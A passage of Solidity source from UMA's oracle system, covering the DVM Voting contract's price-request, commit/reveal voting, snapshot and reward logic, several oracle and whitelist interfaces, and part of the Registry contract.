require(registry.isContractRegistered(msg.sender), "Called must be registered"); } _; } modifier onlyIfNotMigrated() { require(migratedAddress == address(0), "Only call this if not migrated"); _; } /**************************************** * PRICE REQUEST AND ACCESS FUNCTIONS * ****************************************/ /** * @notice Enqueues a request (if a request isn't already present) for the given `identifier`, `time` pair. * @dev Time must be in the past and the identifier must be supported. The length of the ancillary data * is limited such that this method abides by the EVM transaction gas limit. * @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested. * @param time unix timestamp for the price request. * @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller. */ function requestPrice( bytes32 identifier, uint256 time, bytes memory ancillaryData ) public override onlyRegisteredContract() { uint256 blockTime = getCurrentTime(); require(time <= blockTime, "Can only request in past"); require(_getIdentifierWhitelist().isIdentifierSupported(identifier), "Unsupported identifier request"); require(ancillaryData.length <= ancillaryBytesLimit, "Invalid ancillary data"); bytes32 priceRequestId = _encodePriceRequest(identifier, time, ancillaryData); PriceRequest storage priceRequest = priceRequests[priceRequestId]; uint256 currentRoundId = voteTiming.computeCurrentRoundId(blockTime); RequestStatus requestStatus = _getRequestStatus(priceRequest, currentRoundId); if (requestStatus == RequestStatus.NotRequested) { // Price has never been requested. // Price requests always go in the next round, so add 1 to the computed current round. uint256 nextRoundId = currentRoundId.add(1); priceRequests[priceRequestId] = PriceRequest({ identifier: identifier, time: time, lastVotingRound: nextRoundId, index: pendingPriceRequests.length, ancillaryData: ancillaryData }); pendingPriceRequests.push(priceRequestId); emit PriceRequestAdded(nextRoundId, identifier, time); } } // Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version. function requestPrice(bytes32 identifier, uint256 time) public override { requestPrice(identifier, time, ""); } /** * @notice Whether the price for `identifier` and `time` is available. * @dev Time must be in the past and the identifier must be supported. * @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested. * @param time unix timestamp of for the price request. * @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller. * @return _hasPrice bool if the DVM has resolved to a price for the given identifier and timestamp. */ function hasPrice( bytes32 identifier, uint256 time, bytes memory ancillaryData ) public view override onlyRegisteredContract() returns (bool) { (bool _hasPrice, , ) = _getPriceOrError(identifier, time, ancillaryData); return _hasPrice; } // Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version. function hasPrice(bytes32 identifier, uint256 time) public view override returns (bool) { return hasPrice(identifier, time, ""); } /** * @notice Gets the price for `identifier` and `time` if it has already been requested and resolved. * @dev If the price is not available, the method reverts. * @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested. * @param time unix timestamp of for the price request. * @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller. * @return int256 representing the resolved price for the given identifier and timestamp. */ function getPrice( bytes32 identifier, uint256 time, bytes memory ancillaryData ) public view override onlyRegisteredContract() returns (int256) { (bool _hasPrice, int256 price, string memory message) = _getPriceOrError(identifier, time, ancillaryData); // If the price wasn't available, revert with the provided message. require(_hasPrice, message); return price; } // Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version. function getPrice(bytes32 identifier, uint256 time) public view override returns (int256) { return getPrice(identifier, time, ""); } /** * @notice Gets the status of a list of price requests, identified by their identifier and time. * @dev If the status for a particular request is NotRequested, the lastVotingRound will always be 0. * @param requests array of type PendingRequest which includes an identifier and timestamp for each request. * @return requestStates a list, in the same order as the input list, giving the status of each of the specified price requests. */ function getPriceRequestStatuses(PendingRequestAncillary[] memory requests) public view returns (RequestState[] memory) { RequestState[] memory requestStates = new RequestState[](requests.length); uint256 currentRoundId = voteTiming.computeCurrentRoundId(getCurrentTime()); for (uint256 i = 0; i < requests.length; i++) { PriceRequest storage priceRequest = _getPriceRequest(requests[i].identifier, requests[i].time, requests[i].ancillaryData); RequestStatus status = _getRequestStatus(priceRequest, currentRoundId); // If it's an active request, its true lastVotingRound is the current one, even if it hasn't been updated. if (status == RequestStatus.Active) { requestStates[i].lastVotingRound = currentRoundId; } else { requestStates[i].lastVotingRound = priceRequest.lastVotingRound; } requestStates[i].status = status; } return requestStates; } // Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version. function getPriceRequestStatuses(PendingRequest[] memory requests) public view returns (RequestState[] memory) { PendingRequestAncillary[] memory requestsAncillary = new PendingRequestAncillary[](requests.length); for (uint256 i = 0; i < requests.length; i++) { requestsAncillary[i].identifier = requests[i].identifier; requestsAncillary[i].time = requests[i].time; requestsAncillary[i].ancillaryData = ""; } return getPriceRequestStatuses(requestsAncillary); } /**************************************** * VOTING FUNCTIONS * ****************************************/ /** * @notice Commit a vote for a price request for `identifier` at `time`. * @dev `identifier`, `time` must correspond to a price request that's currently in the commit phase. * Commits can be changed. * @dev Since transaction data is public, the salt will be revealed with the vote. While this is the system’s expected behavior, * voters should never reuse salts. If someone else is able to guess the voted price and knows that a salt will be reused, then * they can determine the vote pre-reveal. * @param identifier uniquely identifies the committed vote. EG BTC/USD price pair. * @param time unix timestamp of the price being voted on. * @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller. * @param hash keccak256 hash of the `price`, `salt`, voter `address`, `time`, current `roundId`, and `identifier`. */ function commitVote( bytes32 identifier, uint256 time, bytes memory ancillaryData, bytes32 hash ) public override onlyIfNotMigrated() { require(hash != bytes32(0), "Invalid provided hash"); // Current time is required for all vote timing queries. uint256 blockTime = getCurrentTime(); require( voteTiming.computeCurrentPhase(blockTime) == VotingAncillaryInterface.Phase.Commit, "Cannot commit in reveal phase" ); // At this point, the computed and last updated round ID should be equal. uint256 currentRoundId = voteTiming.computeCurrentRoundId(blockTime); PriceRequest storage priceRequest = _getPriceRequest(identifier, time, ancillaryData); require( _getRequestStatus(priceRequest, currentRoundId) == RequestStatus.Active, "Cannot commit inactive request" ); priceRequest.lastVotingRound = currentRoundId; VoteInstance storage voteInstance = priceRequest.voteInstances[currentRoundId]; voteInstance.voteSubmissions[msg.sender].commit = hash; emit VoteCommitted(msg.sender, currentRoundId, identifier, time, ancillaryData); } // Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version. function commitVote( bytes32 identifier, uint256 time, bytes32 hash ) public override onlyIfNotMigrated() { commitVote(identifier, time, "", hash); } /** * @notice Snapshot the current round's token balances and lock in the inflation rate and GAT. * @dev This function can be called multiple times, but only the first call per round into this function or `revealVote` * will create the round snapshot. Any later calls will be a no-op. Will revert unless called during reveal period. * @param signature signature required to prove caller is an EOA to prevent flash loans from being included in the * snapshot. */ function snapshotCurrentRound(bytes calldata signature) external override(VotingInterface, VotingAncillaryInterface) onlyIfNotMigrated() { uint256 blockTime = getCurrentTime(); require(voteTiming.computeCurrentPhase(blockTime) == Phase.Reveal, "Only snapshot in reveal phase"); // Require public snapshot require signature to ensure caller is an EOA. require(ECDSA.recover(snapshotMessageHash, signature) == msg.sender, "Signature must match sender"); uint256 roundId = voteTiming.computeCurrentRoundId(blockTime); _freezeRoundVariables(roundId); } /** * @notice Reveal a previously committed vote for `identifier` at `time`. * @dev The revealed `price`, `salt`, `address`, `time`, `roundId`, and `identifier`, must hash to the latest `hash` * that `commitVote()` was called with. Only the committer can reveal their vote. * @param identifier voted on in the commit phase. EG BTC/USD price pair. * @param time specifies the unix timestamp of the price being voted on. * @param price voted on during the commit phase. * @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller. * @param salt value used to hide the commitment price during the commit phase. */ function revealVote( bytes32 identifier, uint256 time, int256 price, bytes memory ancillaryData, int256 salt ) public override onlyIfNotMigrated() { require(voteTiming.computeCurrentPhase(getCurrentTime()) == Phase.Reveal, "Cannot reveal in commit phase"); // Note: computing the current round is required to disallow people from revealing an old commit after the round is over. uint256 roundId = voteTiming.computeCurrentRoundId(getCurrentTime()); PriceRequest storage priceRequest = _getPriceRequest(identifier, time, ancillaryData); VoteInstance storage voteInstance = priceRequest.voteInstances[roundId]; VoteSubmission storage voteSubmission = voteInstance.voteSubmissions[msg.sender]; // Scoping to get rid of a stack too deep error. { // 0 hashes are disallowed in the commit phase, so they indicate a different error. // Cannot reveal an uncommitted or previously revealed hash require(voteSubmission.commit != bytes32(0), "Invalid hash reveal"); require( keccak256(abi.encodePacked(price, salt, msg.sender, time, ancillaryData, roundId, identifier)) == voteSubmission.commit, "Revealed data != commit hash" ); // To protect against flash loans, we require snapshot be validated as EOA. require(rounds[roundId].snapshotId != 0, "Round has no snapshot"); } // Get the frozen snapshotId uint256 snapshotId = rounds[roundId].snapshotId; delete voteSubmission.commit; // Get the voter's snapshotted balance. Since balances are returned pre-scaled by 10**18, we can directly // initialize the Unsigned value with the returned uint. FixedPoint.Unsigned memory balance = FixedPoint.Unsigned(votingToken.balanceOfAt(msg.sender, snapshotId)); // Set the voter's submission. voteSubmission.revealHash = keccak256(abi.encode(price)); // Add vote to the results. voteInstance.resultComputation.addVote(price, balance); emit VoteRevealed(msg.sender, roundId, identifier, time, price, ancillaryData, balance.rawValue); } // Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version. function revealVote( bytes32 identifier, uint256 time, int256 price, int256 salt ) public override { revealVote(identifier, time, price, "", salt); } /** * @notice commits a vote and logs an event with a data blob, typically an encrypted version of the vote * @dev An encrypted version of the vote is emitted in an event `EncryptedVote` to allow off-chain infrastructure to * retrieve the commit. The contents of `encryptedVote` are never used on chain: it is purely for convenience. * @param identifier unique price pair identifier. Eg: BTC/USD price pair. * @param time unix timestamp of for the price request. * @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller. * @param hash keccak256 hash of the price you want to vote for and a `int256 salt`. * @param encryptedVote offchain encrypted blob containing the voters amount, time and salt. */ function commitAndEmitEncryptedVote( bytes32 identifier, uint256 time, bytes memory ancillaryData, bytes32 hash, bytes memory encryptedVote ) public override { commitVote(identifier, time, ancillaryData, hash); uint256 roundId = voteTiming.computeCurrentRoundId(getCurrentTime()); emit EncryptedVote(msg.sender, roundId, identifier, time, ancillaryData, encryptedVote); } // Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version. function commitAndEmitEncryptedVote( bytes32 identifier, uint256 time, bytes32 hash, bytes memory encryptedVote ) public override { commitVote(identifier, time, "", hash); commitAndEmitEncryptedVote(identifier, time, "", hash, encryptedVote); } /** * @notice Submit a batch of commits in a single transaction. * @dev Using `encryptedVote` is optional. If included then commitment is emitted in an event. * Look at `project-root/common/Constants.js` for the tested maximum number of * commitments that can fit in one transaction. * @param commits struct to encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`. */ function batchCommit(CommitmentAncillary[] memory commits) public override { for (uint256 i = 0; i < commits.length; i++) { if (commits[i].encryptedVote.length == 0) { commitVote(commits[i].identifier, commits[i].time, commits[i].ancillaryData, commits[i].hash); } else { commitAndEmitEncryptedVote( commits[i].identifier, commits[i].time, commits[i].ancillaryData, commits[i].hash, commits[i].encryptedVote ); } } } // Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version. function batchCommit(Commitment[] memory commits) public override { CommitmentAncillary[] memory commitsAncillary = new CommitmentAncillary[](commits.length); for (uint256 i = 0; i < commits.length; i++) { commitsAncillary[i].identifier = commits[i].identifier; commitsAncillary[i].time = commits[i].time; commitsAncillary[i].ancillaryData = ""; commitsAncillary[i].hash = commits[i].hash; commitsAncillary[i].encryptedVote = commits[i].encryptedVote; } batchCommit(commitsAncillary); } /** * @notice Reveal multiple votes in a single transaction. * Look at `project-root/common/Constants.js` for the tested maximum number of reveals. * that can fit in one transaction. * @dev For more info on reveals, review the comment for `revealVote`. * @param reveals array of the Reveal struct which contains an identifier, time, price and salt. */ function batchReveal(RevealAncillary[] memory reveals) public override { for (uint256 i = 0; i < reveals.length; i++) { revealVote( reveals[i].identifier, reveals[i].time, reveals[i].price, reveals[i].ancillaryData, reveals[i].salt ); } } // Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version. function batchReveal(Reveal[] memory reveals) public override { RevealAncillary[] memory revealsAncillary = new RevealAncillary[](reveals.length); for (uint256 i = 0; i < reveals.length; i++) { revealsAncillary[i].identifier = reveals[i].identifier; revealsAncillary[i].time = reveals[i].time; revealsAncillary[i].price = reveals[i].price; revealsAncillary[i].ancillaryData = ""; revealsAncillary[i].salt = reveals[i].salt; } batchReveal(revealsAncillary); } /** * @notice Retrieves rewards owed for a set of resolved price requests. * @dev Can only retrieve rewards if calling for a valid round and if the call is done within the timeout threshold * (not expired). Note that a named return value is used here to avoid a stack to deep error. * @param voterAddress voter for which rewards will be retrieved. Does not have to be the caller. * @param roundId the round from which voting rewards will be retrieved from. * @param toRetrieve array of PendingRequests which rewards are retrieved from. * @return totalRewardToIssue total amount of rewards returned to the voter. */ function retrieveRewards( address voterAddress, uint256 roundId, PendingRequestAncillary[] memory toRetrieve ) public override returns (FixedPoint.Unsigned memory totalRewardToIssue) { if (migratedAddress != address(0)) { require(msg.sender == migratedAddress, "Can only call from migrated"); } require(roundId < voteTiming.computeCurrentRoundId(getCurrentTime()), "Invalid roundId"); Round storage round = rounds[roundId]; bool isExpired = getCurrentTime() > round.rewardsExpirationTime; FixedPoint.Unsigned memory snapshotBalance = FixedPoint.Unsigned(votingToken.balanceOfAt(voterAddress, round.snapshotId)); // Compute the total amount of reward that will be issued for each of the votes in the round. FixedPoint.Unsigned memory snapshotTotalSupply = FixedPoint.Unsigned(votingToken.totalSupplyAt(round.snapshotId)); FixedPoint.Unsigned memory totalRewardPerVote = round.inflationRate.mul(snapshotTotalSupply); // Keep track of the voter's accumulated token reward. totalRewardToIssue = FixedPoint.Unsigned(0); for (uint256 i = 0; i < toRetrieve.length; i++) { PriceRequest storage priceRequest = _getPriceRequest(toRetrieve[i].identifier, toRetrieve[i].time, toRetrieve[i].ancillaryData); VoteInstance storage voteInstance = priceRequest.voteInstances[priceRequest.lastVotingRound]; // Only retrieve rewards for votes resolved in same round require(priceRequest.lastVotingRound == roundId, "Retrieve for votes same round"); _resolvePriceRequest(priceRequest, voteInstance); if (voteInstance.voteSubmissions[voterAddress].revealHash == 0) { continue; } else if (isExpired) { // Emit a 0 token retrieval on expired rewards. emit RewardsRetrieved( voterAddress, roundId, toRetrieve[i].identifier, toRetrieve[i].time, toRetrieve[i].ancillaryData, 0 ); } else if ( voteInstance.resultComputation.wasVoteCorrect(voteInstance.voteSubmissions[voterAddress].revealHash) ) { // The price was successfully resolved during the voter's last voting round, the voter revealed // and was correct, so they are eligible for a reward. // Compute the reward and add to the cumulative reward. FixedPoint.Unsigned memory reward = snapshotBalance.mul(totalRewardPerVote).div( voteInstance.resultComputation.getTotalCorrectlyVotedTokens() ); totalRewardToIssue = totalRewardToIssue.add(reward); // Emit reward retrieval for this vote. emit RewardsRetrieved( voterAddress, roundId, toRetrieve[i].identifier, toRetrieve[i].time, toRetrieve[i].ancillaryData, reward.rawValue ); } else { // Emit a 0 token retrieval on incorrect votes. emit RewardsRetrieved( voterAddress, roundId, toRetrieve[i].identifier, toRetrieve[i].time, toRetrieve[i].ancillaryData, 0 ); } // Delete the submission to capture any refund and clean up storage. delete voteInstance.voteSubmissions[voterAddress].revealHash; } // Issue any accumulated rewards. if (totalRewardToIssue.isGreaterThan(0)) { require(votingToken.mint(voterAddress, totalRewardToIssue.rawValue), "Voting token issuance failed"); } } // Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version. function retrieveRewards( address voterAddress, uint256 roundId, PendingRequest[] memory toRetrieve ) public override returns (FixedPoint.Unsigned memory) { PendingRequestAncillary[] memory toRetrieveAncillary = new PendingRequestAncillary[](toRetrieve.length); for (uint256 i = 0; i < toRetrieve.length; i++) { toRetrieveAncillary[i].identifier = toRetrieve[i].identifier; toRetrieveAncillary[i].time = toRetrieve[i].time; toRetrieveAncillary[i].ancillaryData = ""; } return retrieveRewards(voterAddress, roundId, toRetrieveAncillary); } /**************************************** * VOTING GETTER FUNCTIONS * ****************************************/ /** * @notice Gets the queries that are being voted on this round. * @return pendingRequests array containing identifiers of type `PendingRequest`. * and timestamps for all pending requests. */ function getPendingRequests() external view override(VotingInterface, VotingAncillaryInterface) returns (PendingRequestAncillary[] memory) { uint256 blockTime = getCurrentTime(); uint256 currentRoundId = voteTiming.computeCurrentRoundId(blockTime); // Solidity memory arrays aren't resizable (and reading storage is expensive). Hence this hackery to filter // `pendingPriceRequests` only to those requests that have an Active RequestStatus. PendingRequestAncillary[] memory unresolved = new PendingRequestAncillary[](pendingPriceRequests.length); uint256 numUnresolved = 0; for (uint256 i = 0; i < pendingPriceRequests.length; i++) { PriceRequest storage priceRequest = priceRequests[pendingPriceRequests[i]]; if (_getRequestStatus(priceRequest, currentRoundId) == RequestStatus.Active) { unresolved[numUnresolved] = PendingRequestAncillary({ identifier: priceRequest.identifier, time: priceRequest.time, ancillaryData: priceRequest.ancillaryData }); numUnresolved++; } } PendingRequestAncillary[] memory pendingRequests = new PendingRequestAncillary[](numUnresolved); for (uint256 i = 0; i < numUnresolved; i++) { pendingRequests[i] = unresolved[i]; } return pendingRequests; } /** * @notice Returns the current voting phase, as a function of the current time. * @return Phase to indicate the current phase. Either { Commit, Reveal, NUM_PHASES_PLACEHOLDER }. */ function getVotePhase() external view override(VotingInterface, VotingAncillaryInterface) returns (Phase) { return voteTiming.computeCurrentPhase(getCurrentTime()); } /** * @notice Returns the current round ID, as a function of the current time. * @return uint256 representing the unique round ID. */ function getCurrentRoundId() external view override(VotingInterface, VotingAncillaryInterface) returns (uint256) { return voteTiming.computeCurrentRoundId(getCurrentTime()); } /**************************************** * OWNER ADMIN FUNCTIONS * ****************************************/ /** * @notice Disables this Voting contract in favor of the migrated one. * @dev Can only be called by the contract owner. * @param newVotingAddress the newly migrated contract address. */ function setMigrated(address newVotingAddress) external override(VotingInterface, VotingAncillaryInterface) onlyOwner { migratedAddress = newVotingAddress; } /** * @notice Resets the inflation rate. Note: this change only applies to rounds that have not yet begun. * @dev This method is public because calldata structs are not currently supported by solidity. * @param newInflationRate sets the next round's inflation rate. */ function setInflationRate(FixedPoint.Unsigned memory newInflationRate) public override(VotingInterface, VotingAncillaryInterface) onlyOwner { inflationRate = newInflationRate; } /** * @notice Resets the Gat percentage. Note: this change only applies to rounds that have not yet begun. * @dev This method is public because calldata structs are not currently supported by solidity. * @param newGatPercentage sets the next round's Gat percentage. */ function setGatPercentage(FixedPoint.Unsigned memory newGatPercentage) public override(VotingInterface, VotingAncillaryInterface) onlyOwner { require(newGatPercentage.isLessThan(1), "GAT percentage must be < 100%"); gatPercentage = newGatPercentage; } /** * @notice Resets the rewards expiration timeout. * @dev This change only applies to rounds that have not yet begun. * @param NewRewardsExpirationTimeout how long a caller can wait before choosing to withdraw their rewards. */ function setRewardsExpirationTimeout(uint256 NewRewardsExpirationTimeout) public override(VotingInterface, VotingAncillaryInterface) onlyOwner { rewardsExpirationTimeout = NewRewardsExpirationTimeout; } /**************************************** * PRIVATE AND INTERNAL FUNCTIONS * ****************************************/ // Returns the price for a given identifer. Three params are returns: bool if there was an error, int to represent // the resolved price and a string which is filled with an error message, if there was an error or "". function _getPriceOrError( bytes32 identifier, uint256 time, bytes memory ancillaryData ) private view returns ( bool, int256, string memory ) { PriceRequest storage priceRequest = _getPriceRequest(identifier, time, ancillaryData); uint256 currentRoundId = voteTiming.computeCurrentRoundId(getCurrentTime()); RequestStatus requestStatus = _getRequestStatus(priceRequest, currentRoundId); if (requestStatus == RequestStatus.Active) { return (false, 0, "Current voting round not ended"); } else if (requestStatus == RequestStatus.Resolved) { VoteInstance storage voteInstance = priceRequest.voteInstances[priceRequest.lastVotingRound]; (, int256 resolvedPrice) = voteInstance.resultComputation.getResolvedPrice(_computeGat(priceRequest.lastVotingRound)); return (true, resolvedPrice, ""); } else if (requestStatus == RequestStatus.Future) { return (false, 0, "Price is still to be voted on"); } else { return (false, 0, "Price was never requested"); } } function _getPriceRequest( bytes32 identifier, uint256 time, bytes memory ancillaryData ) private view returns (PriceRequest storage) { return priceRequests[_encodePriceRequest(identifier, time, ancillaryData)]; } function _encodePriceRequest( bytes32 identifier, uint256 time, bytes memory ancillaryData ) private pure returns (bytes32) { return keccak256(abi.encode(identifier, time, ancillaryData)); } function _freezeRoundVariables(uint256 roundId) private { Round storage round = rounds[roundId]; // Only on the first reveal should the snapshot be captured for that round. if (round.snapshotId == 0) { // There is no snapshot ID set, so create one. round.snapshotId = votingToken.snapshot(); // Set the round inflation rate to the current global inflation rate. rounds[roundId].inflationRate = inflationRate; // Set the round gat percentage to the current global gat rate. rounds[roundId].gatPercentage = gatPercentage; // Set the rewards expiration time based on end of time of this round and the current global timeout. rounds[roundId].rewardsExpirationTime = voteTiming.computeRoundEndTime(roundId).add( rewardsExpirationTimeout ); } } function _resolvePriceRequest(PriceRequest storage priceRequest, VoteInstance storage voteInstance) private { if (priceRequest.index == UINT_MAX) { return; } (bool isResolved, int256 resolvedPrice) = voteInstance.resultComputation.getResolvedPrice(_computeGat(priceRequest.lastVotingRound)); require(isResolved, "Can't resolve unresolved request"); // Delete the resolved price request from pendingPriceRequests. uint256 lastIndex = pendingPriceRequests.length - 1; PriceRequest storage lastPriceRequest = priceRequests[pendingPriceRequests[lastIndex]]; lastPriceRequest.index = priceRequest.index; pendingPriceRequests[priceRequest.index] = pendingPriceRequests[lastIndex]; pendingPriceRequests.pop(); priceRequest.index = UINT_MAX; emit PriceResolved( priceRequest.lastVotingRound, priceRequest.identifier, priceRequest.time, resolvedPrice, priceRequest.ancillaryData ); } function _computeGat(uint256 roundId) private view returns (FixedPoint.Unsigned memory) { uint256 snapshotId = rounds[roundId].snapshotId; if (snapshotId == 0) { // No snapshot - return max value to err on the side of caution. return FixedPoint.Unsigned(UINT_MAX); } // Grab the snapshotted supply from the voting token. It's already scaled by 10**18, so we can directly // initialize the Unsigned value with the returned uint. FixedPoint.Unsigned memory snapshottedSupply = FixedPoint.Unsigned(votingToken.totalSupplyAt(snapshotId)); // Multiply the total supply at the snapshot by the gatPercentage to get the GAT in number of tokens. return snapshottedSupply.mul(rounds[roundId].gatPercentage); } function _getRequestStatus(PriceRequest storage priceRequest, uint256 currentRoundId) private view returns (RequestStatus) { if (priceRequest.lastVotingRound == 0) { return RequestStatus.NotRequested; } else if (priceRequest.lastVotingRound < currentRoundId) { VoteInstance storage voteInstance = priceRequest.voteInstances[priceRequest.lastVotingRound]; (bool isResolved, ) = voteInstance.resultComputation.getResolvedPrice(_computeGat(priceRequest.lastVotingRound)); return isResolved ? RequestStatus.Resolved : RequestStatus.Active; } else if (priceRequest.lastVotingRound == currentRoundId) { return RequestStatus.Active; } else { // Means than priceRequest.lastVotingRound > currentRoundId return RequestStatus.Future; } } function _getIdentifierWhitelist() private view returns (IdentifierWhitelistInterface supportedIdentifiers) { return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist)); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; /** * @title Provides addresses of the live contracts implementing certain interfaces. * @dev Examples are the Oracle or Store interfaces. */ interface FinderInterface { /** * @notice Updates the address of the contract that implements `interfaceName`. * @param interfaceName bytes32 encoding of the interface name that is either changed or registered. * @param implementationAddress address of the deployed contract that implements the interface. */ function changeImplementationAddress(bytes32 interfaceName, address implementationAddress) external; /** * @notice Gets the address of the contract that implements the given `interfaceName`. * @param interfaceName queried interface. * @return implementationAddress address of the deployed contract that implements the interface. */ function getImplementationAddress(bytes32 interfaceName) external view returns (address); } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; /** * @title Financial contract facing Oracle interface. * @dev Interface used by financial contracts to interact with the Oracle. Voters will use a different interface. */ abstract contract OracleAncillaryInterface { /** * @notice Enqueues a request (if a request isn't already present) for the given `identifier`, `time` pair. * @dev Time must be in the past and the identifier must be supported. * @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested. * @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller. * @param time unix timestamp for the price request. */ function requestPrice( bytes32 identifier, uint256 time, bytes memory ancillaryData ) public virtual; /** * @notice Whether the price for `identifier` and `time` is available. * @dev Time must be in the past and the identifier must be supported. * @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested. * @param time unix timestamp for the price request. * @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller. * @return bool if the DVM has resolved to a price for the given identifier and timestamp. */ function hasPrice( bytes32 identifier, uint256 time, bytes memory ancillaryData ) public view virtual returns (bool); /** * @notice Gets the price for `identifier` and `time` if it has already been requested and resolved. * @dev If the price is not available, the method reverts. * @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested. * @param time unix timestamp for the price request. * @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller. * @return int256 representing the resolved price for the given identifier and timestamp. */ function getPrice( bytes32 identifier, uint256 time, bytes memory ancillaryData ) public view virtual returns (int256); } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /** * @title Interface for whitelists of supported identifiers that the oracle can provide prices for. */ interface IdentifierWhitelistInterface { /** * @notice Adds the provided identifier as a supported identifier. * @dev Price requests using this identifier will succeed after this call. * @param identifier bytes32 encoding of the string identifier. Eg: BTC/USD. */ function addSupportedIdentifier(bytes32 identifier) external; /** * @notice Removes the identifier from the whitelist. * @dev Price requests using this identifier will no longer succeed after this call. * @param identifier bytes32 encoding of the string identifier. Eg: BTC/USD. */ function removeSupportedIdentifier(bytes32 identifier) external; /** * @notice Checks whether an identifier is on the whitelist. * @param identifier bytes32 encoding of the string identifier. Eg: BTC/USD. * @return bool if the identifier is supported (or not). */ function isIdentifierSupported(bytes32 identifier) external view returns (bool); } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/MultiRole.sol"; import "../interfaces/RegistryInterface.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; /** * @title Registry for financial contracts and approved financial contract creators. * @dev Maintains a whitelist of financial contract creators that are allowed * to register new financial contracts and stores party members of a financial contract. */ contract Registry is RegistryInterface, MultiRole { using SafeMath for uint256; /**************************************** * INTERNAL VARIABLES AND STORAGE * ****************************************/ enum Roles { Owner, // The owner manages the set of ContractCreators. ContractCreator // Can register financial contracts. } // This enum is required because a `WasValid` state is required // to ensure that financial contracts cannot be re-registered. enum Validity { Invalid, Valid } // Local information about a contract. struct FinancialContract { Validity valid; uint128 index; } struct Party { address[] contracts; // Each financial contract address is stored in this array. // The address of each financial contract is mapped to its index for constant time look up and deletion. mapping(address => uint256) contractIndex; } // Array of all contracts that are approved to use the UMA Oracle. address[] public registeredContracts; // Map of financial contract contracts to the associated FinancialContract struct. mapping(address => FinancialContract) public contractMap; // Map each party member to their their associated Party struct. mapping(address => Party) private partyMap; /**************************************** * EVENTS * ****************************************/ event NewContractRegistered(address indexed contractAddress, address indexed creator, address[] parties); event PartyAdded(address indexed contractAddress, address indexed party); event PartyRemoved(address indexed contractAddress, address indexed party); /** * @notice Construct the Registry contract. */ constructor() public { _createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender); // Start with no contract creators registered. _createSharedRole(uint256(Roles.ContractCreator), uint256(Roles.Owner), new address[](0)); } /**************************************** * REGISTRATION FUNCTIONS * ****************************************/ /** * @notice Registers a new financial contract. * @dev Only authorized contract creators can call this method. * @param parties array of addresses who become parties in the contract. * @param contractAddress address of the contract against which the parties are registered. */ function registerContract(address[] calldata parties, address contractAddress) external override onlyRoleHolder(uint256(Roles.ContractCreator)) { FinancialContract storage financialContract = contractMap[contractAddress]; require(contractMap[contractAddress].valid == Validity.Invalid, "Can only register once"); // Store contract address as a registered contract. registeredContracts.push(contractAddress); // No length check necessary because we should never hit (2^127 - 1) contracts. financialContract.index = uint128(registeredContracts.length.sub(1)); // For all parties in the array add them to the contract's parties. financialContract.valid = Validity.Valid; for (uint256 i = 0; i < parties.length; i = i.add(1)) { _addPartyToContract(parties[i], contractAddress); } emit NewContractRegistered(contractAddress, msg.sender, parties); } /** * @notice Adds a party member to the calling contract. * @dev msg.sender will be used to determine the contract that this party is added to. * @param party new party for the calling contract. */ function addPartyToContract(address party) external override { address contractAddress = msg.sender; require(contractMap[contractAddress].valid == Validity.Valid, "Can only add to valid contract"); _addPartyToContract(party, contractAddress); } /** * @notice Removes a party member from the calling contract. * @dev msg.sender will be used to determine the contract that this party is removed from. * @param partyAddress address to be removed from the calling contract. */ function removePartyFromContract(address partyAddress) external override { address contractAddress = msg.sender; Party storage party = partyMap[partyAddress]; uint256 numberOfContracts = party.contracts.length; require(numberOfContracts != 0, "Party has no contracts"); require(contractMap[contractAddress].valid == Validity.Valid, "Remove only from valid contract"); require(isPartyMemberOfContract(partyAddress, contractAddress), "Can only remove existing party"); // Index of the current location of the contract to remove. uint256 deleteIndex = party.contractIndex[contractAddress]; // Store the last contract's address to update the lookup map. address lastContractAddress = party.contracts[numberOfContracts - 1]; // Swap the contract to be removed with the last contract. party.contracts[deleteIndex] = lastContractAddress; // Update the lookup index with the new location. party.contractIndex[lastContractAddress] = deleteIndex; // Pop the last contract from the array and update the lookup map. party.contracts.pop(); delete party.contractIndex[contractAddress]; emit PartyRemoved(contractAddress, partyAddress); } /**************************************** * REGISTRY STATE GETTERS * ****************************************/ /** * @notice Returns whether the contract has been registered with the registry. * @dev If it is registered, it is an authorized participant in the UMA system. * @param contractAddress address of the financial contract. * @return bool indicates whether the contract is registered. */ function isContractRegistered(address contractAddress) external view override returns (bool) { return contractMap[contractAddress].valid == Validity.Valid; } /** * @notice Returns a list of all contracts that are associated with a particular party. * @param party address of the party. * @return an array of the contracts the party is registered to. */ function getRegisteredContracts(address party) external view override returns (address[] memory) { return partyMap[party].contracts; } /** * @notice Returns all registered contracts. * @return all registered contract addresses within the system. */ function 